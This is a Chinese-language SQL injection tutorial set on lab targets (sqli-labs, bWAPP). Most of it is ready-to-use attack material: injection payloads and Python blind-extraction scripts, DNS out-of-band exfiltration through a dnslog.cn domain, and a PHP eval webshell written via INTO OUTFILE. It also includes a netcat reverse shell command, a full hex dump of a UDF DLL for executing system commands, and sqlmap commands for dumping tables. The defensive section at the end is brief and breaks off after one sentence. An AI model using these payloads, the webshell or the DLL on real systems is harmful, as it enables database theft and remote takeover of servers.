目录
漏洞原理
漏洞危害
利用方式
手工注入
手工注入步骤-基于联合查询:
1、判断注入类型
2、查询字段数
3、判断回显位
4、查询数据库的基本信息
5、查询数据库中的数据
?报错注入
xpath语法错误
?无回显无报错
1,布尔盲注
2,时间盲注
3,带外注入
4,SQL注入命令执行一
4,SQL注入命令执行二
?堆叠注入
?HTTP头注入
?宽字节注入
?二次注入
自动化注入
SQLMAP
sqlmap特性
输出的内容
设定目标
设定等级
综合利用
1,获取数据库 –dbs
?2,-D指定数据库bwapp --tablase获取数据库中的表
?3,-D指定数据库bwapp -T指定表user --columns获取数据库表中的列
?4,-D指定数据库bwapp -T指定表user -C指定列名,--dump下载
防范方法
SQL注入形成的原因
预处理方式
1,参数化查询
2,存储过程
过滤方式
1,白名单
2,转义
漏洞原理
SQL注入就是指web应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数是攻击者可以控制,并且参数带入数据库的查询,攻击者可以通过构造恶意的sql语句来实现对数据库的任意操作。
SQL注入常出现在登录,搜索等功能,凡是与数据库交互的地方都有可能发生SQL注入
漏洞危害
1.绕过登录验证:使用万能密码登录网站后台等。
2.获取敏感数据:获取用户或网站管理员帐号、密码等。
3.文件系统操作:读取、写入文件等。
4.执行系统命令:提权获取远程执行命令。
利用方式
SQL注入根据注入点可以分为数值型注入和字符型注入
根据注入方式可以分为联合查询,报错注入,布尔盲注,时间盲注,二次注入,堆叠注入,宽字节注入和HTTP Header注入
其中HTTP Header注入又分 Referer注入 , Cookie注入 和 User-agent注入
时间盲注又有一种替代方式,叫带外注入。
手工注入
手工注入步骤-基于联合查询:
1、判断注入类型
首先在参数后输入’根据回显,若爆出数据库错误信息,则存在注入点。
?然后,我们需要确定目标是数字型还是字符型注入漏洞,以便我们进一步进行其它注入操作。
?服务器端查询语句为:id为接收参数。
"SELECT * FROM users WHERE id='$id' LIMIT 0,1"?
判断是否为字符型:? 1' and '1'='1
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ???1' and '1'='2
???判断是否为数值型:1 and 1=1
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?? ? ?1 and 1=2
将ID传入可得到一下SQL语句。
"SELECT * FROM users WHERE id=' 1' and '1'='1 ' LIMIT 0,1"
"SELECT * FROM users WHERE id=' 1' and '1'='2 ' LIMIT 0,1"
若第一句正常回显,第二句无回显。则参数id为字符型由’闭合。
数值类型判断同理。
注:此外还可能会有双引号“”,括号()等闭合方式的参数。
And1=1 ,条件为真,查结果无变化。
And1=2 ,条件为假,查询结果为空。
2、查询字段数
由于联合查询需要前后查询的字段数相同,所以在确定注入类型以后,需要确定前面语句查询的字段个数。
在这一步中,我们尝试去猜测出查询语句中的字段个数,如下注入语句所示,
假设为字符型注入,先利用1'实现引号闭环,
再利用order by num -- 去看是否报错来明确查询语句中的字段数,其中 -- 号用于注释掉后方其余sql查询语句。
num为数字列数,依次递增,当num大于实际列数时会报错。
?列数为4时报错,说明实际列数为3列。
3、判断回显位
因为回显只能显示一组数据,所以把参数ID置空,使用union联合查询,判断回显位。
Union select 1,2,3
?回显位为第2,3列。
4、查询数据库的基本信息
将2,3列替换为想要查询的信息。
?可以查询到数据库的基本信息。
拓展一些其它可查询的信息:
? ????????????????@@hostname //主机名称
? ????????????????@@datadir //返回数据库的存储目录
? ????????????????@@version_compile_os //查看服务器的操作系统
? ????????????????database() // 查看当前连接的数据库名称
? ????????????????user() // 查看当前连接的数据库用户
? ????????????????version() //查看数据库版本
? ????????????????current_user() // 当前登录的用户和登录的主机名
? ????????????????system_user() // 数据库系统用户账户名称和登录的主机名
? ????????????????session_user() //当前会话的用户名和登录的主机名
? ????????????????@@basedir //MYSQL安装路径
5、查询数据库中的数据
想要查询信息,就必须指定数据库名,表名以及字段名,那么如何才能获取到这些信息呢。
在mysql数据库中
information_schema 数据库是 MySQL 自带的信息数据库。
information_schema 用于存储数据库元数据(关于数据的数据)
例如数据库名、表名、列的数据类型、访问权限等。
information_schema 中的表实际上是视图,而不是基本表,因此,文件系统上没有与之相关的文件。
SCHEMATA 表
存储当前mysql实例中所有数据库的信息。
TABLES 表
存储数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。
COLUMNS 表
存储表中的列信息,包括表有多少列、每个列的类型等。
获取当前数据库名:
?获取表名:
group_concat函数首先根据group by指定的列进行分组,
将同一组的列显示出来,并且用分隔符分隔。由函数参数(字段名)决定要返回的列。
根据表名,猜测users表中可能会存储有敏感信息。
选择users表获取表中字段名:
得到数据库名,表名和字段名
尝试查询出users表中username和password字段数据:
?报错注入
联合查询需要页面有回显,当某些不提供回显,只提供SQL报错信息的情况下,联合查询则无法查到想要的数据。
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。
xpath语法错误
利用xpath语法错误来进行报错注入主要利用extractvalue和updatexml两个函数。需要mysql版本>5.1.5
extractvalue函数:Mysql数据库中的extractvalue函数是用于对XML文档进行查询的函数。
????????? 函数语法:extractvalue(xml_document,Xpath_string)
????????? 参数1表示操作的目标XML文档,参数2则表示目标XML的查找路径。
当Xpath_string不为路径时,则会报出语法错误。
?爆出错误,但是信息不完整,这是需要在开头拼接一个Xpath无法处理的字符,即可显示完整信息。
0x7e是“~”符号的十六进制表现形式,而concat函数的作用就是将“~”符号与select user()
查询的结果进行拼接成字符串,使报错信息中携带完整的查询信息。
后续只需将查询参数依次替换为想要查询的数据即可。
?extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位。
updatexml函数:
????????? 函数语法:updatexml(XML_document , XPath_string , new_value)
????????? updatexml函数有三个参数,XML_document参数表示目标XML文档(例如doc),
????????? ?XPath_string参数表示路径,
????????? new_value替换查找的数据。
? updatexml函数报错注入的原理和extractvalue函数是相通的。
?无回显无报错
然而很多环境下即无回显也无报错,就需要引入下面的利用方式。
盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。
盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。
用到的函数:
Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
1,布尔盲注
布尔型:页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据
?当and后条件为真时,不影响查询结果,当and后条件为假时,则查询结果为空。
http://192.168.2.9/sqli-labs/Less-8/?id=1'and (length(database()))>10 --+
当前数据库database()的长度大于10,返回正常页面,否则则返回无查询结果页面。
?通过一直改变参数10,根据回显页面特征,可以推断出数据库长度。
通过去数据库名第一位,转换为ascii码,然后重复以上步骤。可以得到数据库名第一位字符对应的ascii码,ascii(substr(database(),1,1))>114
将第二位及以后重复第一位操作,可以获得每一位对应的ascii码。
查找对应的ascii码表即可得到完整的数据库名。
由于盲注过程非常繁琐,所以需要借助脚本实现。
ASCII码表中前32个和最后1个为控制字符,
所以在编写脚本时,应考虑从32位取至126位即可。
?获取数据库名长度:
import requests
def database_len():
i=1
while True:
url="http://192.168.2.9/sqli-labs/Less-8/?id=1'and (length(database()))=%d --+"%(i)
r=requests.get(url)
if 'You are in...........' in r.text:
return i
break
i=i+1
if __name__=='__main__':
print("数据库名长度位:%d"%(database_len()))
2,时间盲注
时间盲注又称延迟注入,适用于页面不会返回错误信息,且只会回显一种界面,其主要特征是
利用sleep函数,制造时间延迟,由回显时间来判断构造的条件是否正确。
时间忙著与布尔盲注类似,布尔盲注基于两种回显页面,而时间忙著基于请求所用的时间。其
有着一定的区别。
http://192.168.2.9/sqli-labs/Less-9/?id=1' and if(length(database())>5,sleep(5),0) --+
?获取数据库名长度:
import requests
import time
def get_length_of_database():
i=1
while True:
url="http://192.168.2.9/sqli-labs/Less-9/?id=1' and length(database())=%d and sleep(2) --+"%(i)
startTime=time.time()
rsq=requests.get(url)
endTime=time.time()
a=endTime-startTime
if a>2:
return i
i=i+1
if __name__=='__main__':
print("数据库名长度为%d"%(get_length_of_database()))
3,带外注入
带外通道技术(OOB)让攻击者能够通过另一种方式来确认和利用没有直接回显的漏洞。
这一类漏洞中,攻击者无法通过恶意请求直接在响应包中看到漏洞的输出结果。
带外通道技术通常需要利用漏洞来生成带外的TCP/UDP/ICMP请求,然后,攻击者可以通过这个请求来提取数据。
UNC路径
UNC(Universal Naming Convention)/通用命名规则。
Windows主机默认存在,Linux主机默认不存在。格式:
\\servername\sharename,其中servername是服务器名。sharename是共享资源的名称。
当使用UNC路径时,会对域名进行DNS查询。
DNS查询
DNS是域名解析系统,它的功能是将站点的域名转换为站点的IP地址。DNS查询方式为递归查询。
泛域名解析
泛域名解析就是利用通配符的方式将所有的次级域名指向同一IP。
www.example.com和abc.example.com都会访问到同一个站点。
结合UNC路径
\\www.example.com\text.txt
MySQL读写文件
Load_file()函数是MySQL中一个常用的函数,主要用来读取文件内容。
函数原型:load_file(file_path)
该函数会读取文件内容,并将文件内容作为字符串返回。如果读取失败会返回NULL
该函数在执行过程中需要遵循secure_file_priv的限制。
可在MySQL配置文件my.ini中进行修改,在[mysqld]下面插入一行。
secure_file_priv:
值为NULL表示禁止限制操作
值为某一目录,则只能操作该目录下的文件
没有值则表示不对读写文件进行限制:secure_file_priv=
Mysql中查看:show global variables like "secure%";
读文件结合UNC路径可以实现将查询到的值拼接上一个泛域名解析地址,然后对其访问,
将查询的数据通过域名带出。
select load_file(concat("\\\\",(database()),".qguagy.dnslog.cn\\1"));
4,SQL注入命令执行一
通过SQL注入,直接写入webshell文件到服务器,通过GET方法或POST方法提交并执行外部指令,
为后续进一步远程控制,提权创造条件。
select '<?php @eval($_POST[a]) ?>' into outfile'E:\\apache24\\htdocs\\uploads\\sql.php';
?
通过一句话木马反弹shell
? 建立监听:nc -lvvp 6666
通过webshell传入命令:a=system("nc -e cmd.exe 192.168.2.5 6666");
即可成功反弹shell。
4,SQL注入命令执行二
还可以利用“用户自定义函数”的方式,即User-Defined-Functions(UDF)来执行命令。
通过lib_mysqludf_sys提供的函数可以执行系统命令。
获取UDF文件
1,SQLmap集成UDF库文件:https://github.com/sqlmapproject/sqlmap/tree/master/data/udf
2,https://github.com/mysqludf/lib_mysqludf_sys
注:SQLmap下文件是经过编码的,需要通过sqlmap/extra/cloak目录下的cloak.py进行解码
先将文件转为16进制,然后使用下面语句写入。
select unhex('') into dumpfile 'E:\mysql\lib\plugin\win32_udf.dll'
4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a24000000000000004d477bd0092615830926158309261583005e86830b261583005e808308261583005e968307261583005e91830b2615832ee06e830a2615830926148325261583005e9c8308261583005e878308261583005e8483082615835269636809261583000000000000000000000000000000000000000000000000504500004c0103004afe9f5a0000000000000000e00002210b010900001000000010000000600000607c0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020000000000100000100000000010000010000000000000100000007c83000008020000b4820000c800000000800000b402000000000000000000000000000000000000848500001000000000000000000000000000000000000000000000000000000000000000000000002c7e00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000000000000000000000000000800000e0555058310000000000100000007000000010000000040000000000000000000000000000400000e02e7273726300000000100000008000000006000000140000000000000000000000000000400000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e393100555058210d090208b92bcf11b11ceea24f550000560c000000220000260000a8ffffffff8b4c240833c03901741656578b7c24146a0c59be000010dcf3a566a55fb0015e5dfb77fbc38b44240c1a6a071611108bf8183218ff63db6f1ca45fc7011e1200210883380175128b40040df6776f0700750a1004c6000132c0c3530abf1df68d3c3053a454082d08ff30ff15fff6ee776c885985c075085614c601011bc8568d71018a11fd6fdffe4184d275f98b54142bce890a32558bec8b4d0c833902b7d860bf5374148b7d10915c5453eb4cbf9dbddf8b417d740f1b707c1bebe5836004dbb1ffb7001a0c8b48048b008d4401025072a0594c08dfc8d7b5891678113006a44ceb6c57beb7b2b85f5e5da30421740833dbb63ff6a8591353568b742410d878534602db85db5bb6460851c78d5c4257e8240b75eeeebfe01400c604070008ff70041e0553b1db1b921a22c418535720030054090f09b7086a995b0f98599954cf2d343713b8f4540b1edeb60d818403552251519d35dffed6fedf576800f762d66a018945fc068bf08b4560dd7ff70cc606004533ff595939387471683cc071c6fedfda9c12260c3bc7745b506a04ff75fc149073e1edd7a9fd48533afc8d48911040b963dbff2bc18bd88d043b505630f8268c5330d8ad8dbd5f03fe570e940de57df8463fe6364c2066ba5b1810a4803e0059169eb0ff741a8bc6c64437ff00594d1489c906987bebd86f183e5f205ec9c3eed7b235dcbaf37d574708c45030087bdbdacdc9c26a4078c710548d4601b9e07e614251724f0856ff31cf6bafdd9db694c66aff8dc32082f63a58b0b6030d092c23005f7cc36e57036c6a081d1290ac0aa88365fc2f6c2f2c2d4592d0eb071b408f65e8c70bbfd66e42feff000d1fedc25e3bffdb17b60d08209a02f3c3e90806f58bff56688000002d8c6d675880985608845aa3bde0febb062358045485f675054daa83260076fbb7db4508c36f08ed09acc704240607ff0b4c113637598d71ffcf9c0bbf77dfc9750e39056b107e3cff7310830b01fbeec6bb8b0910548b098f57890a23480f85d47d618cbbad641718068b79040838071b76edeebb1e50eb184aa705b8e61768b0b030d8e803a83c0957c1d6bbaeb5d6a1e7e9e2573ca12f4c6a6ff777c3025efd096a1fee76eb3caa10c80475ed7befc0c7051f281a70e027071bdff79d5cb520bc04b81b6a5635b952eb782b7339b2e3696ff7defd7340393d155c741c68062809ac43db6b85850d9e1034252316ffe666f862f154b201dc0801592cc2b1a1db78049ddfdbf62413d90fd4fc83f80266b16f6cb0d2595bffa0584b77783bb5783106350f8487c71996ee4cd3543bf81810897d82efc796be35fac87251833f8af36a7c398587b4f10774e9ffc8d60f7c89c5db9bb5d955f85615441b474ded5be38ef88a394d1003d00874b48909437aa36d020c1ad3f8eba71c3162cc5a64442e386161fb0a58064c32fc19503f1bdf720443375bc9c20cc710fb02231fb2288b2ef28b5d081cae0fdb9b54e433c95cfc7d2008016c2dc6c23bf15a393a4417e4d61bfe7fafae3bf0740583fe02752e1910d03bc1e7166eb8ed57565fd03b5ee40003937b703b67115a039614168012376c7d270a8227fea0246420575062b30d661327002f527f8df61ad2061153f76a037543b067bb614f34032168742e2c0d2c3cec257feb1b71ec5a09706a7c6faae05051597c64825d900eadf62ffa8a19066b8f91b6c72ae490c396ec1640e134a9ff3b246abb41c1f17926547dbc550c0d381e33bc05bc595d382281ec2832f7869f365f212043211c895e2118891d05f78ec243143c21a2aa210c668c186c5ffbda3806252c0620080605dd2dcdd20425002d7ffc9c8f7ab6b1f6143095562407042831d6fedb7f0807348b85e0fca0aa701ddbb5b395011c1920241318092b18476a565f201cb360c32c9f7b8985d8320a04dc03b557e01b243468dedfd1f7d8d360ce2879d40a2c833d208dbdc3da00f923685b1b300bdfaf67f534c97f23401ec25f6a4849918f144a50152e9df458aaf8a29c10f3eb67611c7e052c37d4598feded8321b9273551e0f5ee3bdc0abf03e4507f4b8417185bdb7e600bce1cdc142cd6e288b154b609e01b14f413160a4bdb313ddcdbffdc84676cc859d94e1e07f7d81bf076bbb7c00359485d1656b8bc18be04a3638b6f2af83bc673080753025073d85f60835a3bfe72f15f5e25206c6053c820cc006f35b4dd452bb84d5a346627040b85bf2b5e6e413c03c1813850e45fefa5ecfffb33d2b90b011c48180f94c28bc25dc33fb702bf35e34831c80fb74114ae057106c1a55b6c33578c081817761bffff2ff1d7487bf972098b580803d93bfb720a4283c0283bd67270ca36b5e86ae55dc38f6afef0cd71f7a970040b056418005083ec080db7c670082f316c33c576f0852f06df64a31a89b90968555db7f081f0b2091c6b04f555972dd12c937d1350195c083b04e1c26f2724c1e81ff715e0018fefb6532b034f230059948be55dc3621ddb49a301ca3dafc0fae99525242631ccff29343232b61058054c50ac2cb41e97af12b60d56096b27d7616b20cfb0fbef2ae4e03160031f73d9665b9a6c038d2be0fafc046ba039f13cb4fc8a0d6c120c7d0dc395c3c1619c965154147fe41f3e783124f020140bdac40e5643b25d53ec1068f885626df4f888c9bf4ee640bb25eea0398466820d85c33149db9f0a359a04eb605675f869639fc1f6448b7598751f1033f0071476e6ca20189d271cb4f6ee6fedf4330c113bf77507be4f59eb0b85f30a7b047ea10ac1e0100bf0ce00f7d6076c840d1e045e5f01c33f5c05646464646064686c1405766474b000003ff4c20e034b0f20185f4e6f20ffffb7ff617267756d656e7473096c6c6f77656420287564663a206c69625f6dccfd6df77973716c0d5f73085f696e666f293918dfb6ff8f2076657273696f6e20302e01341f45787065f6dbdbdd637447657861076c79201a65207374723f5bdb5afb672074791b75726171217258c00e602b7477911fd86f030b3f8672206e616d48dbb1b71f436f756c246e6f74c4636113203058b76d186d2779af72f1483fda4d943f2003121071051bf29d5860214707d0604d0d0b0f81cb074ed961dd9703ab17cc2708a77527ecc00fd81f0a3b034fc0a07b851f03240328c1556583a200c5889251ca22d877bdb119bf44ff000f5565a3aa00a8aa9251645455c95532aaaafff61d455c0410020157616974466f00fc06c07253886c654f626a07c07f6b99145669727475616c417603e0f6370d536574456e76126f6ec000bc6dbf5661726961622b4118437265f76deb6e94546806640d47264375727222cd12f65b502a636573734914266e03e083135469636bde6e6bb1f6b6fd5175657279500366846d616e371667ef1b00fd0144697367374cfdb7eded6962727879436192731a4973446562756767edee6dad266a686546a4556e6840b1b7b7b7643164457846707469af46696c4a6d295b6119b41254de64aeb0176d0dd8114990b9edd61a0a6b409d6d70876547c25a73cd517f77555122b4ed6e591b5c537973186deec3c2eb2e39417373650975697cdb15da434c7d5f687e396d5f2edffedebe5f616d7367087869740b646a753a5f666469ec4217b076260a639a5f64fd6cadb91f5f686f6f6b131459725ff802700148d15fdb9ceb0249730a330a6c21d6f0bd82539c2a64d46e640893050b130f651e6b5b7bc25f2c723456ed6d1c182ff6d69a700a035f706f522947e1ddbe6e106468756c5eb92a6bcb92bd9b1b2ca806e0b6d86e6ec57265250866112e827bdb5673749c637079082439edcd5c6b32c06e4d0fd7ed1f5ac36f7319663a1f5f4370705831c75e3b8474bc6d343f001817ffffffff3d193c1c1b161e55142d16270815270f11115f10130a070d2e17090705160c1e7ffbffff080a0b160918181505061b050c10060717062105110f061421110b08e4fbdfb62b22052a111d0d18532d483806000776fbdbe5080c09330a090b0c051007061612eedffeed0e0b34150b18160d3d0542c205121e14066930ffd8ddff110c0e1d4d0517230d0c3224080b4506f0de041004f03b0a6eff2c01043808041c1c0204003e4c016dff21fd05004afe9f5a8fe00002210b0109080c634f7ad60c1213d616a300200e10c10a01630b02ab3362b7ee6107006003040233351eeed9c0ce34100706c02633d6eddb7620ac22033c144002b0021c5759dd0050520143c8c8ba65b1214200a7b82f06db5d182eb4787407ea0b900c5bfa90cdb742602e72647d610861c90e76c508fb0a00c700a1db66bb77402e26300304301becdb943d001a27c04f73726300eb11c0061b40731c4f78c2c2a365761f01030002ed7760497b27421ba023030000edd8d152127c53030400000000000080ff00000000000000000000807c2408010f85b901000060be007000108dbe00a0ffff5783cdffeb0d9090908a064688074701db75078b1e83eefc11db72edb80100000001db75078b1e83eefc11db11c001db73ef75098b1e83eefc11db73e431c983e803720dc1e0088a064683f0ff747489c501db75078b1e83eefc11db11c901db75078b1e83eefc11db11c975204101db75078b1e83eefc11db11c901db73ef75098b1e83eefc11db73e483c10281fd00f3ffff83d1018d142f83fdfc760f8a02428807474975f7e963ffffff908b0283c204890783c70483e90477f101cfe94cffffff5e89f7b92a0000008a07472ce83c0177f7803f0075f28b078a5f0466c1e808c1c01086c429f880ebe801f0890783c70588d8e2d98dbe005000008b0709c0743c8b5f048d8430b472000001f35083c708ff96f0720000958a074708c074dc89f95748f2ae55ff96f472000009c07407890383c304ebe16131c0c20c0083c7048d5efc31c08a074709c074223cef771101c38b0386c4c1c01086c401f08903ebe2240fc1e010668b0783c702ebe28baef87200008dbe00f0ffffbb0010000050546a045357ffd58d871702000080207f8060287f585054505357ffd558618d4424806a0039c475fa83ec80e9ad98ffff0000004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030001010220010010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005c80000056020000e404000000000000584000003c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f6e3d22312e30223e0d0a20203c7472757374496e666f20786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e7633223e0d0a202020203c73656375726974793e0d0a2020202020203c72657175657374656450726976696c656765733e0d0a20202020202020203c726571756573746564457865637574696f6e4c6576656c206c6576656c3d226173496e766f6b6572222075694163636573733d2266616c7365223e3c2f726571756573746564457865637574696f6e4c6576656c3e0d0a2020202020203c2f72657175657374656450726976696c656765733e0d0a202020203c2f73656375726974793e0d0a20203c2f7472757374496e666f3e0d0a20203c646570656e64656e63793e0d0a202020203c646570656e64656e74417373656d626c793e0d0a2020202020203c617373656d626c794964656e7469747920747970653d2277696e333222206e616d653d224d6963726f736f66742e564339302e435254222076657273696f6e3d22392e302e32313032322e38222070726f636573736f724172636869746563747572653d2278383622207075626c69634b6579546f6b656e3d2231666338623362396131653138653362223e3c2f617373656d626c794964656e746974793e0d0a202020203c2f646570656e64656e74417373656d626c793e0d0a20203c2f646570656e64656e63793e0d0a3c2f617373656d626c793e504100000000000000000000000010830000f08200000000000000000000000000001d83000008830000000000000000000000000000000000000000000028830000368300004683000056830000648300000000000072830000000000004b45524e454c33322e444c4c004d5356435239302e646c6c00004c6f61644c69627261727941000047657450726f634164647265737300005669727475616c50726f7465637400005669727475616c416c6c6f6300005669727475616c467265650000006672656500000000000000004afe9f5a0000000058840000010000001200000012000000a4830000ec8300003484000021100000a312000000100000a4120000a3120000a0120000cc110000a31200009811000086110000a31200009811000076100000a3120000431000002e1100001a110000a91000006d84000083840000a0840000bb840000c7840000da840000eb840000f484000004850000128500001b8500002b8500003985000041850000508500005d850000658500007485000000000100020003000400050006000700080009000a000b000c000d000e000f00100011006c69625f6d7973716c7564665f7379732e646c6c006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f62696e6576616c007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f6576616c007379735f6576616c5f6465696e6974007379735f6576616c5f696e6974007379735f65786563007379735f657865635f6465696e6974007379735f657865635f696e6974007379735f676574007379735f6765745f6465696e6974007379735f6765745f696e6974007379735f736574007379735f7365745f6465696e6974007379735f7365745f696e69740000000000700000100000006d3c683e6c3e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Dumpfile v.s. outfile
若把一个可执行二进制文件用into outfile函数导出,导出后文件会被破坏。
因为into outfile函数会在行末端写入新行,更致命的是会转义换行符,这样
的话这个二进制文件就会被破坏。
这时候我们用into dumpfile 就能导出一个完整能执行的二进制文件,
Into dumpfile 函数不对任何列或行进行终止,也不执行任何转义处理。
创建函数:create function sys_eval returns string soname “lib_mysqludf_sys.dll”;
?调用创建的函数,即可执行系统命令。
?堆叠注入
在;结束一个SQL语句后继续构造下一条语句,使多条语句顺序执行,这就是堆叠注入。
对比union或者union all,联合查询执行的语句类型使有限的,只可以用来执行查询语句,
而堆叠注入可以执行任意的语句,威力巨大!
PHP-MySQL相关API:mysqli_multi_query
执行payload:
http://192.168.2.9/sqli-labs/Less-38/?id=1';
create database ma123 default charset utf8; --+
成功创建数据库。
?HTTP头注入
HTTP头注入:
针对HTTP的请求头,如果不加以过滤或转义,在直接与数据库交互的过程中容易被利用进行SQL注入攻击。
使用场景:访问Web Server时,Web Server会从HTTP Header中驱逐浏览器信息、IP地址、
HOST信息等存储在数据库中。
HTTP Header注入又分 Referer注入 , Cookie注入 和 User-agent注入
通过burp抓包修改对应的参数:
User-Agent: ',1,updatexml(1,concat(0x7e, database(),0x7e),1))#
?宽字节注入
开发人员对为了防止注入会选择转义掉’字符,使其失去控制效果。
GBK 占用两字节,ASCII占用一字节,PHP中编码为GBK,PHP中addslashes函数执行添加的是
ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。
在注入点输入(')会被转义为(\')编码后为(%5c%27), GBK编码表,%DF%5C正好组成( 運),
所以会把\"吃掉",0X81-0XFE都可以
?在’前加入%df即可完成宽字节注入,使转义字符失去作用。
?
?二次注入
二次注入是指在执行某些语句是有些参数是取自数据库,二次注入发生的主要原因是来自数据库
的内容也是不可靠的。
当注册账号为:admin’#。
如果前端做了转义处理,在接收到数据时为:admin\’#,前端不会产生SQL注入。
但是在数据存储入数据库内时其内容为:admin’#。
当需要再次调用此数据时,来自数据库的账号数据为admin’#,如果未对后端的数据进行处理
那么同样会产生SQL注入。
例如该用户修改密码的情况下,更新语句条件会变为:where user=‘admin’#’and password=‘123’
可以在不知道用户admin密码的情况下,更新其密码。
自动化注入
SQLMAP
一款功能强大集成了多种数据库识别及注入方式,多用于识别和利用Web应用程序注入漏洞的工具。
优点在于集成了大量payload,对检查与利用的自动化处理(数据库
指纹、访问底层文件系统、执行命令)。
Payload原理与前面SQL注入相似,利用数据库执行非预期的语句,但
更加复杂,有专门研究数据库的人编写。Kali内置,其他平台需自行安装。
官方网站:https://sqlmap.org/
sqlmap特性
对直连数据库的支持:
? 不需要通过SQL注入,只需要提供DBMS的账户信息、IP地址、端口及数据库名称。
对枚举功能的支持:
? 包括用户、密码HASH、权限、角色、数据库、数据表、数据列。
密码HASH相关支持:
? 自动识别HASH格式以及自动实施基于字典的破解攻击。
对DUMP数据的功能支持:
? 可以根据用户选择进行全部导出/部分导出。
对搜索功能的强大支持:
? 该功能非常实用,可用于搜索特定数据库名、所有数据库中的特定名称数据表、所有
? 数据表中特定名称的数据列。
对下载/上传文件的支持:
? 优先支持的DBMS包括MySQL、PostgreSQL、MS SQL Server。
对命令执行的支持:
? 优先支持的DBMS包括MySQL、PostgreSQL、MS SQL Server。
对建立一个基于OOB的TCP连接的支持:
? 连接的Channel支持交互式命令行、Meterpreter session以及VNC session。
对数据库提权的支持:
? 该支持通过msf中meterpreter的getsystem命令。
输出的内容
选项 –v
? 0:只显示python的error和critical级别的信息。
? 1:显示information和warning级别的信息。
? 2:显示debug级别的信息。
? 3:额外显示注入的payload(很有用,测试过程的记录)。
? 4:额外显示HTTP请求头内容。
? 5:额外显示HTTP响应头。
? 6:额外显示HTTP相应页面内容。
设定目标
选项 -u 或 --url
? 选定一个url目标,并执行SQL注入攻击。
? sqlmap –u “http://www.xxx.com/index.php?id=1” -f --banner --dbs --users
选项 -d 或 --data
?
? 默认的HTTP请求发送方式时GET,可以通过该选项指定为POST
? sqlmap –u “http://www.xxx.com/index.php” --data=“id=1” -f --banner --dbs --users
携带cookie
选项 --cookie ,--load-cookies
? 设定Cookie流程:
? 1,通过浏览器登录Web App;
? 2,从Burp Suite 或浏览器内部取得Cookie;
? 3,通过-cookie选项设置取得的Cookie;
说明:在sqlmap执行注入攻击的过程中,如果服务器返回了Set-Cookie的headers,那么sqlmap会自动识别这一指令,并更新对应的Cookie,如果我们已经通过-cookie设定了Cookie的数值,那么sqlmap会像向我们确认是否进行更新。
例:
sqlmap -u "http://192.168.2.7/bWAPP/sqli_1.php?title=1&action=search" –cookie=
"PHPSESSID=7hssotaep8iaklsbbbr2eth6i0; acopendivids=swingset,jotto,phpbb2,redmine;
acgroupswithpersist=nada; security_level=0" -f --banner --dbs --users
设定等级
--risk=1-3 –level=1-5
? 默认都是1,
? level级别提升,会加入更多的测试,2会加入cookie的测试,3会加入Useragent头的注入测试
? 5进行host测试。
? sql-master/data/xml/payload目录下有payload
? 内容risk级别提升会加入or和update可能对数据表内容进行修改。(谨慎使用)。?
? 如果为指定参数,并且risk1 level1会直接退出。
读写文件
--file-read --file-write --file-dest
? 读文件:--file-read“path”
? 写文件:--file-write“local-path” --file-dest“server-path”
命令执行
--os-cmd ---shell
? 需要具有文件夹写权限。
综合利用
1,获取数据库 –dbs
?2,-D指定数据库bwapp --tablase获取数据库中的表
?3,-D指定数据库bwapp -T指定表user --columns获取数据库表中的列
?4,-D指定数据库bwapp -T指定表user -C指定列名,--dump下载
防范方法
SQL注入形成的原因
1,用户能够控制传参
2,SQL语句中拼接了用户传参的内容
3,拼接后的SQL语句在数据库中执行
其实就是用户输入的数据被作为代码执行了!
预处理方式
1,参数化查询
参数化查询是指在设计与数据库连接并访问时,在需要填入数值或数据的地方使用参数。
